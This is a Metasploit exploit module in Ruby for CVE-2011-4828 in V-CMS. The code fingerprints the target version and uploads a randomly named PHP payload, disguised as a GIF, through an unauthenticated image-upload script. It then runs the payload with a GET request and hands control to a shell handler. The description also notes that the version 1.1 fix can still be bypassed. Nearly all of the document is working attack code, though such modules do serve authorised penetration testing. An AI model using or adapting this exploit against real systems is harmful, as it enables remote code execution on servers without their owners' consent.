V-CMS PHP File Upload and Execute

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::PhpEXE

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'V-CMS PHP File Upload and Execute',
        'Description' => %q{
          This module exploits a vulnerability found on V-CMS's inline image upload feature.
          The problem is due to the inline_image_upload.php file not checking the file type
          before saving it on the web server. This allows any malicious user to upload a
          script (such as PHP) without authentication, and then execute it with a GET request.

          The issue is fixed in 1.1 by checking the extension name.  By default, 1.1 only
          allows jpg, jpeg, png, gif, bmp, but it is still possible to upload a PHP file as
          one of those extension names, which may still be leveraged in an attack.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'AutoSec Tools', # Initial discovery
          'sinn3r' # Metasploit
        ],
        'References' => [
          ['CVE', '2011-4828'],
          ['OSVDB', '77183'],
          ['BID', '50706'],
          ['URL', 'http://xforce.iss.net/xforce/xfdb/71358']
        ],
        'Payload' => {
          'BadChars' => "\x00"
        },
        'Platform' => 'php',
        'Targets' => [
          [ 'Generic (PHP Payload)', { 'Arch' => ARCH_PHP, 'Platform' => 'php' } ],
          [ 'Linux x86', { 'Arch' => ARCH_X86, 'Platform' => 'linux' } ]
        ],
        'Privileged' => false,
        'DisclosureDate' => '2011-11-27', # When the ticket was created
        'DefaultTarget' => 0,
        'Notes' => {
          'Reliability' => UNKNOWN_RELIABILITY,
          'Stability' => UNKNOWN_STABILITY,
          'SideEffects' => UNKNOWN_SIDE_EFFECTS
        }
      )
    )

    register_options(
      [
        OptString.new('TARGETURI', [true, 'The URI path to vcms', '/vcms/'])
      ]
    )
  end

  def check
    uri = normalize_uri(target_uri.path)
    uri << '/' if uri[-1, 1] != '/'
    res = send_request_raw({
      'uri' => uri,
      'method' => 'GET'
    })

    if res and res.body =~ /V-CMS v1\.[0-1]/
      return Exploit::CheckCode::Appears('The target appears to be vulnerable')
    else
      return Exploit::CheckCode::Safe('The target is not vulnerable')
    end
  end

  def exploit
    peer = "#{rhost}:#{rport}"

    base = target_uri.path
    base << '/' if base[-1, 1] != '/'

    @payload_name = "#{rand_text_alpha(5)}.php"
    p = get_write_exec_payload(unlink_self: true)

    post_data = "------x\r\n"
    post_data << "Content-Disposition: form-data; name=\"Filedata\"; filename=\"#{@payload_name}\"\r\n"
    post_data << "Content-Type: image/gif\r\n"
    post_data << "\r\n"
    post_data << p + "\r\n"
    post_data << "------x--\r\n"

    print_status("#{peer} Uploading payload: #{@payload_name}")
    res = send_request_cgi({
      'uri' => normalize_uri(base, 'includes/inline_image_upload.php'),
      'method' => 'POST',
      'ctype' => 'multipart/form-data; boundary=----x',
      'data' => post_data
    })

    if res
      print_status("#{peer} replies status: #{res.code}")
    else
      print_error("#{peer} No response from server. Will not continue")
      return
    end

    print_status("#{peer} Executing payload: #{@payload_name}")
    res = send_request_raw({
      'uri' => "#{base}temp/#{@payload_name}",
      'method' => 'GET'
    })

    if res and res.code == 404
      print_error("#{peer} 404 - the upload probably failed")
      return
    end

    handler
  end
end